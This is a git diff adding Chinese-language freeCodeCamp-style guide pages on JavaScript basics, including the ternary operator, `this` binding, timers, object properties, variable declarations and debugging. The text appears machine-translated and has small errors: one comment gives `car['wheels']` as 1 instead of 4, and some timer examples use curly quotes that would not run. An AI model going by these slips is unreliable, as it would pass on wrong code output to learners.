+ var es5StringWithVariable = "ES5 String with a " + variable + "..." 
+ 
+ // ES6 template literal 
+ const tempLit = `Simple string` 
+ 
+ // ES6 template literal with variable 
+ let tempLitWithVariables = `Simple string with a ${variable}...` 
+ 
+ // ES6 multiple line template literal 
+ const multiLineString = ` 
+  Multiple 
+  Lines 
+  Allowed 
+ ` 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/ternary-operator/index.md b/client/src/guide/chinese/javascript/ternary-operator/index.md
new file mode 100644
index 0000000000..bb2d6d31ea
--- /dev/null
+++ b/client/src/guide/chinese/javascript/ternary-operator/index.md
@@ -0,0 +1,61 @@
+---
+title: Ternary Operator
+localeTitle: 三元运算符
+---
+Ternary运算符以压缩格式替换`if` / `else`块。以下是三元运算符的一般格式。
+```
+condition ? expr1 : expr2 
+```
+
+## 描述
+
+如果condition为true，则运算符解析为expr1的值;否则，它解析为expr2的值。
+
+例如，要根据isMember变量的值显示不同的消息，可以使用以下语句：
+
+```javascript
+let isMember = true; 
+ 
+ let message = isMember ? 'Welcome Back!' : 'You need to login'; // 'Welcome Back' 
+```
+
+使用三元运算符的另一个有用方法是将其调用以有条件地执行函数或方法
+
+```javascript
+    function memberOpen(){ 
+        console.log("open"); 
+    } 
+ 
+    function memberClose(){ 
+        console.log("close"); 
+    } 
+ 
+    let isMember = true; 
+ 
+    (isMember) ? memberOpen() : memberClose(); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/M8Ge/1)
+
+## 使用三元运算符运行函数
+
+也可以使用三元运算符来运行函数，这有时可以有用且更具可读性。但是，请仔细使用它，因为代码更难调试。
+
+```javascript
+    const runFirst = true; 
+    runFirst ? first() : second(); 
+```
+
+## 使用三元运算符链接
+
+您也可以无限期地链接三元运算符，类似于在`if` / `else`块的最后一个`if`之前使用`else if's` 。每次冒号用于表示三元运算符的else部分时，可以声明新条件，直到使用最终终止条件。
+
+```javascript
+    function displayNum(num) { 
+     return  num === 3 ? 'number is 3' : num === 2 ? 'number is 2' : num === 1 ? 'number is 1 ' : 'number is not in range'; 
+    } 
+```
+
+这个方法需要在正确的位置谨慎使用，但是，如果使用`else if's`多个`else if's`它有时可以使用switch语句导致更易读的代码。
+
+**了解更多：** [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/this-reference/index.md b/client/src/guide/chinese/javascript/this-reference/index.md
new file mode 100644
index 0000000000..cc272328b0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/this-reference/index.md
@@ -0,0 +1,176 @@
+---
+title: this reference
+localeTitle: 这个参考
+---
+## `this`参考
+
+在JavaScript中，每个函数都有`this`引用在声明它自动创建。该参考颇为相似， `this`在其他基于类的语言如Java或C＃参考（JavaScript是一种基于原型的语言，并没有“阶级”的概念）： _它指向哪个对象有时调用的函数_ （该对象称为_上下文_ ）。但是，在JavaScript中， _函数内部的`this`引用可以绑定到不同的对象，具体取决于调用函数的位置_ 。以下是JavaScript中`this`绑定的5个基本规则：
+
+### 规则1
+
+在全局范围中调用函数时， `this`引用默认绑定到**全局对象** （浏览器中的`window`或Node.js中的`global` ）。例如：
+
+```javascript
+function foo() { 
+  this.a = 2; 
+ } 
+ 
+ foo(); 
+ console.log(a); // 2 
+```
+
+注意：如果在严格模式下声明上面的`foo()`函数，那么在全局范围内调用此函数， `this`将是`undefined`并且赋值`this.a = 2`将抛出`Uncaught TypeError`异常。
+
+### 规则2
+
+我们来看下面的例子：
+
+```javascript
+function foo() { 
+  this.a = 2; 
+ } 
+ 
+ var obj = { 
+  foo: foo 
+ }; 
+ 
+ obj.foo(); 
+ console.log(obj.a); // 2 
+```
+
+显然，在上面的代码片段中， `foo()`函数被调用， _上下文_是`obj`对象，现在`this`引用绑定到`obj` 。因此，当使用上下文对象调用函数时， `this`引用将绑定到此对象。
+
+### 规则3
+
+`.call` ， `.apply`和`.bind`都可以在调用点使用显式绑定`this` 。使用`.bind(this)`是你可以在很多React组件中看到的东西。
+
+```javascript
+var foo = function() { 
+  console.log(this.bar) 
+ } 
+ 
+ foo.call({ bar: 1 }) // 1 
+```
+
+这是一个快速的例子，说明如何使用每个绑定`this` ：
+
+*   `fn.call(thisObj, fnParam1, fnParam2)` `.call()` ： `fn.call(thisObj, fnParam1, fnParam2)`
+*   `.apply()` ： `fn.apply(thisObj, [fnParam1, fnParam2])`
+*   `.bind()` ： `const newFn = fn.bind(thisObj, fnParam1, fnParam2)`
+
+### 规则4
+
+```javascript
+function Point2D(x, y) { 
+  this.x = x; 
+  this.y = y; 
+ } 
+ 
+ var p1 = new Point2D(1, 2); 
+ console.log(p1.x); // 1 
+ console.log(p1.y); // 2 
+```
+
+您必须注意的是使用`new`关键字调用的`Point2D`函数，并且`this`引用绑定到`p1`对象。因此，当使用`new`关键字调用函数时，它将创建一个新对象，并且`this`引用将绑定到此对象。
+
+注意：当您使用`new`关键字调用函数时，我们也将其称为_构造函数_ 。
+
+### 规则5
+
+的JavaScript确定的值`this`在运行时，基于所述当前上下文。所以`this`有时会指向你期望的东西。
+
+考虑这个带有一个名为`makeSound()`的方法的Cat类示例，遵循规则4（上面）中的模式，带有构造函数和`new`关键字。
+
+```javascript
+var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.makeSound(); // Fat Daddy says: Mrrooowww 
+```
+
+现在让我们试着给猫一个方法来`annoy()`人们通过重复他的声音100次，每半秒一次。
+
+```javascript
+var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var t = setInterval(function() { 
+            this.makeSound(); // <-- this line fails with `this.makeSound is not a function` 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+```
+
+这不起作用，因为在`setInterval`回调中我们创建了一个具有全局范围的新上下文，所以`this`不再指向我们的kitty实例。在Web浏览器中， `this`将指向Window对象，该对象没有`makeSound()`方法。
+
+有几种方法可以使它工作：
+
+1）创建新的上下文之前，分配`this`名为局部变量`me` ，或`self` ，或任何你想将它命名，并使用回调内部的变量。
+
+```javascript
+var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var self = this; 
+        var t = setInterval(function() { 
+            self.makeSound(); 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+```
+
+2）同ES6就可以避免分配`this`通过使用箭头功能，其结合本地变量`this`到它的限定的周围的代码的情况下。
+
+```javascript
+var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var t = setInterval(() => { 
+            this.makeSound(); 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+```
+
+### 其他资源
+
+*   [javascriptissexy.com](http://javascriptissexy.com/understand-javascripts-this-with-clarity-and-master-it/)
+*   [你不懂JS](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20%26%20object%20prototypes/ch2.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/timing-events/index.md b/client/src/guide/chinese/javascript/timing-events/index.md
new file mode 100644
index 0000000000..859e4f49d7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/timing-events/index.md
@@ -0,0 +1,72 @@
+---
+title: Timing Events
+localeTitle: 时间事件
+---
+## 时间事件
+
+程序员使用定时事件来延迟代码的执行或以指定的间隔重复代码。
+
+JavaScript库中有两个用于完成这些任务的本机函数： `setTimeout()`和`setInterval()` 。
+
+使用`setTimeout()`将传递函数的执行延迟指定的时间。您传递给`setTimeout()`参数有两个：您要调用的函数，以及以毫秒为单位的时间量。 （1秒内有1000毫秒（ms）。例如：5000毫秒= 5秒。） `setTimeout()`将在指定时间过后执行一次。
+
+`setTimeout()`示例：
+
+```javascript
+var timeoutID; 
+ 
+ function delayTimer() { 
+  timeoutID = setTimeout(delayedFunction, 3000); 
+ } 
+ 
+ function delayedFunction() { 
+  alert(“Three seconds have elapsed.”); 
+ } 
+```
+
+当调用delayTimer函数时，它将运行setTimeout。经过3秒后，它将执行delayedFunction，它将发送警报。
+
+使用`setInterval()`指定要在执行之间的时间延迟重复的函数。同样，两个参数传递给`setInterval()` ：您要调用的函数，以及以毫秒为单位的时间量。 `setInterval()`将继续执行，直到它被清除。
+
+`setInterval()`示例：
+
+```javascript
+var intervalID; 
+ 
+ function repeatEverySecond() { 
+  intervalID = setInterval(sendMessage, 1000); 
+ } 
+ 
+ function sendMessage() { 
+  console.log(“One second elapsed.”); 
+ } 
+```
+
+当您的代码调用函数repeatEverySecond时，它将运行setInterval。 setInterval将每1000毫秒运行一次sendMessage函数。
+
+还有相应的本机函数来停止计时事件： `clearTimeout()`和`clearInterval()` 。
+
+您可能已经注意到每个计时器功能都保存到变量中。当set函数运行时，会为其分配一个保存到此变量的数字。生成的数字对于每个计时器实例都是唯一的。该分配的号码也是识别定时器停止的方式。因此，您必须始终将计时器设置为变量。
+
+为了清楚你的代码，你应该总是将`clearTimeout()`与`setTimeout()`和`clearInterval()`匹配到`setInterval()` 。
+
+要停止计时器，请调用相应的清除功能，并将与您要停止的计时器匹配的计时器ID变量传递给它。 `clearInterval()`和`clearTimeout()`的语法是相同的。
+
+例：
+
+```javascript
+var timeoutID; 
+ 
+ function delayTimer() { 
+  timeoutID = setTimeout(delayedFunction, 3000); 
+ } 
+ 
+ function delayedFunction() { 
+  alert(“Three seconds have elapsed.”); 
+ } 
+ 
+ function clearAlert() { 
+  clearTimeout(timeoutID); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/truth-table/index.md b/client/src/guide/chinese/javascript/truth-table/index.md
new file mode 100644
index 0000000000..b1aa1733d6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/truth-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Truth Table
+localeTitle: 真相表
+---
+![显示哪些JavaScript参数为true和false的表。](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2c78476742e6e677e5c714341ff37e9f60c951.png)
+
+这就是你应该总是使用`===`和`!==` 。
+
+来源： [https](https://dorey.github.io/JavaScript-Equality-Table/) ： [//dorey.github.io/JavaScript-Equality-Table/](https://dorey.github.io/JavaScript-Equality-Table/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/truthy-values/index.md b/client/src/guide/chinese/javascript/truthy-values/index.md
new file mode 100644
index 0000000000..b6555159c4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/truthy-values/index.md
@@ -0,0 +1,17 @@
+---
+title: Truthy Value
+localeTitle: Truthy价值
+---
+**truthy**值是在_布尔_上下文中计算时转换为**true**的_值_ 。
+
+所有值都是**真实的，**除非它们被定义为**假** （即除了`false` ， `0` ， `""` ， `null` ， `undefined`和`NaN` ）。
+
+一些有趣的**truthy**值是：
+
+'0'（包含单个零的字符串） 'false'（包含文本“false”的字符串） \[\]（一个空数组） {}（一个空对象） function（）{}（一个“空”函数）
+
+因此，可以在条件内使用单个值，例如
+
+if（value）{ //值是真的 } 其他{ //值是假的 //它可能是false，0，''，null，undefined或NaN }
+
+另见： falsy | [MDN](https://developer.mozilla.org/en-US/docs/Glossary/Truthy)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md b/client/src/guide/chinese/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md
new file mode 100644
index 0000000000..bc48cf0520
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md
@@ -0,0 +1,26 @@
+---
+title: Add New Properties to a JavaScript Object
+localeTitle: 将新属性添加到JavaScript对象
+---
+您可以像修改现有JavaScript对象一样向现有JavaScript对象添加新属性。
+
+有两种不同的语法，点表示法和括号表示法。为了便于阅读，通常首选点符号，但属性必须是有效的标识符。
+
+以下是使用点符号的方法：
+```
+myDog.bark = "woof-woof"; 
+```
+
+以下是使用括号表示法的方法：
+
+```javascript
+myObject['bark'] = "woof-woof"; 
+```
+
+使用括号表示法，我们可以将变量用作属性名称：
+
+```javascript
+var dynamicProperty = "bark"; 
+ myObject[dynamicProperty] = "woof-woof"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/add-two-numbers-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/add-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..7730355284
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/add-two-numbers-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Two Numbers with JavaScript
+localeTitle: 使用JavaScript添加两个数字
+---
+JavaScript使用`+`符号进行添加。它也可以用来代替`parseInt()`但这超出了这个范围。
+```
+var sum = 10 + 10; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/build-javascript-objects/index.md b/client/src/guide/chinese/javascript/tutorials/build-javascript-objects/index.md
new file mode 100644
index 0000000000..965e715eaf
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/build-javascript-objects/index.md
@@ -0,0 +1,28 @@
+---
+title: Build JavaScript Objects
+localeTitle: 构建JavaScript对象
+---
+对象对于以结构化方式存储数据很有用，并且可用于表示现实世界对象，例如汽车或酒店到计算机。
+
+对象类似于数组，除了不使用索引访问和修改数据，您可以通过所谓的属性访问对象中的数据。主要有两种创建对象的方法：Object Literal和Constructor方式。
+
+使用Object Literal方式，我们将如何创建示例对象：
+```
+var cat = { 
+    name: "Whiskers", 
+    legs: 4, 
+    tails: 1, 
+    enemies: ["Water", "Dogs"] 
+ }; 
+```
+
+使用构造函数方式，我们将如何创建示例对象：
+```
+var cat = new Object(); 
+ cat.name = "Whiskers"; 
+ cat.legs = 4; 
+ cat.tails = 1; 
+ cat.enemies = ["Water", "Dogs"]; 
+```
+
+在构造函数方式中，我们将`new`关键字与`Object` （使用大写“O”）一起使用来创建新的对象实例。之后，我们使用点表示法来分配对象的属性名称和值。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/comment-your-javascript-code/index.md b/client/src/guide/chinese/javascript/tutorials/comment-your-javascript-code/index.md
new file mode 100644
index 0000000000..0d954bb60e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/comment-your-javascript-code/index.md
@@ -0,0 +1,22 @@
+---
+title: Comment Your JavaScript Code
+localeTitle: 评论您的JavaScript代码
+---
+评论是留给自己和其他人的好方法，后者需要弄清楚它的作用。其中的任何代码都将被忽略。
+
+我们来看看用JavaScript编写注释的两种方法。
+
+*   双斜杠注释将注释掉当前行的文本的其余部分：
+
+`// This is a single line comment.`
+
+*   斜杠 - 星 - 星 - 斜杠评论将注释掉`/*`和`*/`字符之间的所有内容：
+
+```javascript
+/* 
+ This is 
+ a multi-line comment 
+ (comment block) 
+ */ 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/construct-javascript-objects-with-functions/index.md b/client/src/guide/chinese/javascript/tutorials/construct-javascript-objects-with-functions/index.md
new file mode 100644
index 0000000000..73a338ac8d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/construct-javascript-objects-with-functions/index.md
@@ -0,0 +1,17 @@
+---
+title: Construct JavaScript Objects with Functions
+localeTitle: 用函数构造JavaScript对象
+---
+使用构造函数，可以使用蓝图或构造函数轻松创建新对象。声明语法略有不同，但仍然易于记忆。
+```
+// Let's add the properties engines and seats to the car in the same way that the property wheels has been added below. They should both be numbers. 
+ var Car = function() { 
+  this.wheels = 4; 
+  this.engines = 1; 
+  this.seats = 1; 
+ }; 
+ 
+ var myCar = new Car(); 
+```
+
+构造函数的名称通常以大写字母开头（与其他函数不同，后者往往以小写字符开头）。大写字母应该有助于提醒开发人员在使用该函数创建对象时使用new关键字。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/create-a-javascript-slot-machine/index.md b/client/src/guide/chinese/javascript/tutorials/create-a-javascript-slot-machine/index.md
new file mode 100644
index 0000000000..15697ec238
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/create-a-javascript-slot-machine/index.md
@@ -0,0 +1,11 @@
+---
+title: Create a JavaScript Slot Machine
+localeTitle: 创建一个JavaScript老虎机
+---
+为此，我们必须使用他们给出的公式而不是一般公式生成三个随机数。 `Math.floor(Math.random() * (3 - 1 + 1)) + 1;`
+```
+slotOne = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+ slotTwo = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+ slotThree = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/create-decimal-numbers-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/create-decimal-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..6b8d14c820
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/create-decimal-numbers-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Decimal Numbers with JavaScript
+localeTitle: 使用JavaScript创建十进制数
+---
+JavaScript数字变量可以包含小数。
+```
+var myDecimal = 2.8; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md b/client/src/guide/chinese/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md
new file mode 100644
index 0000000000..8e00e79799
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md
@@ -0,0 +1,90 @@
+---
+title: Debugging JavaScript with Browser Devtools
+localeTitle: 使用浏览器Devtools调试JavaScript
+---
+作为开发人员，您经常需要调试代码。您可能已经在一些挑战中使用了`console.log` ，这是最简单的调试方法。
+
+在本文中，我们将告诉您一些最酷的技巧，使用浏览器的本机调试工具进行调试。
+
+## 简要了解FreeCodeCamp代码编辑器：
+
+在进入调试之前，让我们泄漏一些有关FCC _真棒代码检查引擎的_秘密事实。
+
+我们使用自定义的[CodeMirror](http://codemirror.net/mode/javascript/index.html)作为代码编辑器。 [`eval()`函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)用于评估编辑器中表示为字符串的JavaScript代码。调用`eval()` ，浏览器将本机执行您的代码。我们将在本文后面的部分中了解更多为什么这个秘密很重要。
+
+## 现在转向技巧：
+
+## 谷歌Chrome DevTools
+
+谷歌浏览器是最流行的浏览器之一，内置JavaScript引擎[V8](https://developers.google.com/v8/) ，为开发人员提供了一个很棒的工具集，名为[Chrome DevTools](https://developer.chrome.com/devtools) 。强烈建议您访问他们的[完整JavaScript调试指南](https://developer.chrome.com/devtools/docs/javascript-debugging) 。
+
+### 1：DevTools的基础知识
+
+#### 启动Chrome DevTools
+
+点击`F12`
+
+。或者你可以按
+
+`Ctrl` + `Shift` + `I`
+
+在Windows和Linux或
+
+`Cmd` + `Shift` + `I`
+
+在Mac上，或者如果您只是喜欢鼠标，请转到`Menu > More Tools > Developer Tools` 。
+
+#### 了解`Sources`和`console`选项卡。
+
+在调试时，这两个选项卡可能是您最好的朋友。 “ `Sources`选项卡可用于显示您正在访问的网页上的所有脚本。此选项卡包含代码窗口，文件树，调用堆栈和监视窗口等部分。
+
+`console`选项卡是所有日志输出的位置。此外，您可以使用控制台选项卡的提示来执行JavaScript代码。它类似于Windows上的命令提示符或Linux上的终端。
+
+_提示：使用`Esc`键随时在DevTools中切换控制台。_
+
+### 2：常用快捷方式和功能
+
+虽然您可以访问[完整的快捷方式列表](https://developers.google.com/web/tools/chrome-devtools/iterate/inspect-styles/shortcuts) ，但以下是一些最常用[的快捷方式](https://developers.google.com/web/tools/chrome-devtools/iterate/inspect-styles/shortcuts) ：
+
+功能Windows，Linux Mac  
+搜索关键字，支持正则表达式。 `Ctrl` + `F``Cmd` + `F`  
+搜索并打开文件`Ctrl` + `P``Cmd` + `P`  
+跳转到`Ctrl` + `G` +行`:line_no``Cmd` + `G` + `:line_no`  
+添加断点`Ctrl` + `B` ，或单击行号。 `Cmd` + `B` ，或点击第no行。  
+暂停/恢复脚本执行`F8` `F8`  
+跳过下一个函数调用`F10` `F10`  
+进入下一个函数调用`F11` `F11`
+
+### 3：为我们的代码使用源映射
+
+您最喜欢的功能之一是通过[源映射](https://developer.chrome.com/devtools/docs/javascript-debugging#source-maps) [动态调试动态脚本](https://developer.chrome.com/devtools/docs/javascript-debugging#breakpoints-dynamic-javascript) 。
+
+每个脚本都可以在DevTools的Source选项卡中可视化。源选项卡包含所有JavaScript源文件。但代码编辑器中的代码通过`eval()`在浏览器进程中简称为虚拟机（VM）的容器中执行。
+
+您可能已经猜到，我们的代码实际上是一个没有文件名的脚本。所以我们在Source选项卡中没有看到。
+
+> ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 "：闪耀：") **_黑客来了！_** ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 "：闪耀：")
+
+我们必须利用`Source Maps`从编辑器中为JavaScript指定一个名称。它非常简单：
+
+让我们说我们正在使用[Factorialize](https://www.freecodecamp.com/challenges/factorialize-a-number)挑战，我们的代码如下所示：
+```
+function factorialize(num) { 
+  if(num <= 1){ 
+  ... 
+ } 
+ factorialize(5); 
+```
+
+我们需要做的就是将`//# sourceURL=factorialize.js`添加到代码的顶部，即第一行：
+```
+//# sourceURL=factorialize.js 
+ 
+ function factorialize(num) { 
+  if(num <= 1){ 
+  ... 
+```
+
+> ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 "：闪耀：") **_而尤里卡就是这样！_** ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 "：闪耀：")
+
+现在打开DevTools并搜索文件名。添加断点，调试远离并享受！
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/debugging-node-files-using-cli-commands/index.md b/client/src/guide/chinese/javascript/tutorials/debugging-node-files-using-cli-commands/index.md
new file mode 100644
index 0000000000..46cc91ed2a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/debugging-node-files-using-cli-commands/index.md
@@ -0,0 +1,48 @@
+---
+title: Debugging Node files using CLI commands
+localeTitle: 使用CLI命令调试节点文件
+---
+## 使用CLI命令调试节点文件
+
+在本教程中，您将学习如何在命令行上调试Node.js代码。您可以使用浏览器的DevTools轻松调试纯JavaScript代码。对于Node，您可以在不离开命令行界面（CLI）的情况下调试代码。
+
+假设您有一个名为`contents.js`的文件。您将使用`node`命令运行该文件。
+
+```bash
+node contents.js 
+```
+
+由于您正在编写Node.js代码，因此必须已经知道这一点。现在必须调试弹出的任何错误。要在调试模式下运行该文件，请在运行该文件时附加关键字`inspect` 。
+
+```bash
+node inspect contents.js 
+```
+
+现在，此命令将以调试模式打开您的文件。从这里开始，您可以通过按键盘上的**N**键一次一行地执行代码。
+
+调试器将从第一行开始。按**N** ，可以将调试器移动到下一行。如果第一行出错，则会显示错误而不是移动到第二行。这非常有用。例如，如果第17行出现错误，它将在向前移动之前显示错误。
+
+您的逻辑中可能存在错误，这意味着您希望显示某个值，而是显示不同的值。在这种情况下，添加`console.log()`可能会对您有所帮助，并且在调试模式下，更容易识别错误原因。
+
+* * *
+
+现在有时候，你的源代码很大。您进入调试模式以调试错误，并确定错误来自第52行的函数。但是，由于调试模式从第1行开始，您是否别无选择，只能逐行访问第52行？绝对不！
+
+只需在函数前添加关键字`debugger` 。
+
+```javascript
+console.log("Outside the function....everything's going smoothly"); 
+ 
+ debugger; 
+ 
+ function doesSomething() { 
+    //some logic 
+    console.log("Something went wrong inside here!"); 
+ } 
+```
+
+现在再次以调试模式打开文件，这次按键盘上的**C.**
+
+按**N**将调试器移动到下一行，按**C键**告诉调试器一次完成整个代码。这与没有调试模式的情况相同。 _但是_ ，这次你的代码还有一个补充。你猜对了 - `debugger`关键字。按**C**通常会运行代码直到结束，但由于添加`debugger` ，它将在函数启动之前停止。
+
+因此，在调试模式下运行文件后，按**C**将跳过代码并在`debugger`关键字的函数之前停止。之后，您可以一次开始逐行执行该功能，直到找到错误为止。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/declare-javascript-objects-as-variables/index.md b/client/src/guide/chinese/javascript/tutorials/declare-javascript-objects-as-variables/index.md
new file mode 100644
index 0000000000..1affae78d7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/declare-javascript-objects-as-variables/index.md
@@ -0,0 +1,34 @@
+---
+title: Declare JavaScript Objects as Variables
+localeTitle: 将JavaScript对象声明为变量
+---
+这有一个简单的格式。您声明您的变量并使其等于`{ key: value}`形式的对象
+```
+var car = { 
+  "wheels":4, 
+  "engines":1, 
+  "seats":5 
+ }; 
+```
+
+您可以使用点表示法或括号表示法访问对象的属性。
+
+使用点符号：
+
+```javascript
+console.log(car.wheels); // 4 
+```
+
+使用括号表示法：
+
+```javascript
+console.log(car["wheels"]); // 1 
+```
+
+使用动态括号表示法：
+
+```javascript
+var seatsProperty = "seats"; 
+ console.log(car[seatsProperty]); // 5 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/declare-javascript-variables/index.md b/client/src/guide/chinese/javascript/tutorials/declare-javascript-variables/index.md
new file mode 100644
index 0000000000..623264d197
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/declare-javascript-variables/index.md
@@ -0,0 +1,98 @@
+---
+title: Declare Variables
+localeTitle: 声明变量
+---
+# 声明变量
+
+JavaScript变量声明可以分为三个不同的组件：变量类型，变量名称和变量值。
+
+```js
+    var myName = "Rafael"; 
+```
+
+让我们将上面的代码行分解为构成它的部分：
+
+```js
+    var/const/let 
+```
+
+JavaScript变量可以有三种声明类型：var，const和let。 Var类型变量是全局的，如果在函数外部声明它们可以被任何JS文件（或控制台）访问，并且如果在函数内创建它们，则无论块范围如何都可以访问它们。令型变量的范围受限于它们的块。请参阅下面的示例了解差异。
+
+```js
+     function varTest() { 
+      var x = 1; 
+      if (true) { 
+        var x = 2;  // same variable! 
+        console.log(x);  // 2 
+      } 
+      console.log(x);  // 2 
+    } 
+ 
+    function letTest() { 
+      let x = 1; 
+      if (true) { 
+        let x = 2;  // different variable 
+        console.log(x);  // 2 
+      } 
+      console.log(x);  // 1 
+    } 
+```
+
+Const类型变量与let变量（块作用域）具有相同的作用域，但是是不可变的。无论要赋值const-type变量的值是什么，都必须在声明变量时发生，如果稍后更改变量，JavaScript将抛出错误。
+
+```js
+    const genre = "non-fiction"; 
+    console.log(genre); // "non-fiction"; 
+    genre = "fantasy"; // error 
+```
+
+现在我们可以确定变量类型是什么，让我们来看看名称。 JavaScript变量名以`camel case`格式编写。驼峰案例的一个例子是： `camelCase` 。在我们的例子中：
+
+```js
+    myName 
+```
+
+该名称也是我们稍后将再次访问该变量：
+
+```js
+    console.log(myName); // "Rafael" 
+```
+
+最后，我们的价值：
+
+```js
+    "Rafael" 
+```
+
+JavaScript是动态类型的，这意味着任何给定的变量都可以在任何给定时间表示任何给定的数据类型。例如：
+
+```js
+    var example = "This is an example"; 
+    example = [0, 1, 2, 3] 
+    example = {test: "Result"} 
+    example = 5 
+```
+
+所有这些语句都是完全有效的 - JavaScript变量可以从字符串跳转到数组，从对象跳转到整数。
+
+### 将对象声明为const
+
+如上所述，const变量是不可变的意味着在声明时分配给这样的变量的值不能更新但是在使用const的对象声明的情况下有一点需要注意。类型const的对象也不能在定义后更新，但对象cab的属性是。例如。
+
+```js
+    const Car1 = { 
+        name: 'BMW', 
+        model: 'X1', 
+        color: 'black' 
+    } 
+```
+
+在这里，我们无法更新对象，但我们可以通过点（。）运算符访问来更新属性，如下所示。
+
+```js
+    Car1.color = 'Red'; 
+    console.log(Car1); 
+    O/P - {name: "BMW", model: "X1", color: "Red"} 
+```
+
+如果我们需要将enitre对象设为不可变（包括属性），那么我们必须使用freeze方法。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/decrement-a-number-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/decrement-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..f882eafc5f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/decrement-a-number-with-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Decrement a Number with JavaScript
+localeTitle: 使用JavaScript减少数字
+---
+您可以使用`--`运算符轻松地将变量减1或减`1` 。
+```
+i--; 
+```
+
+相当于
+```
+i = i - 1; 
+```
+
+**注意：**整条线变为`i--;` ，消除了对等号的需要。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/delete-properties-from-a-javascript-object/index.md b/client/src/guide/chinese/javascript/tutorials/delete-properties-from-a-javascript-object/index.md
new file mode 100644
index 0000000000..fb75fb2e06
--- /dev/null
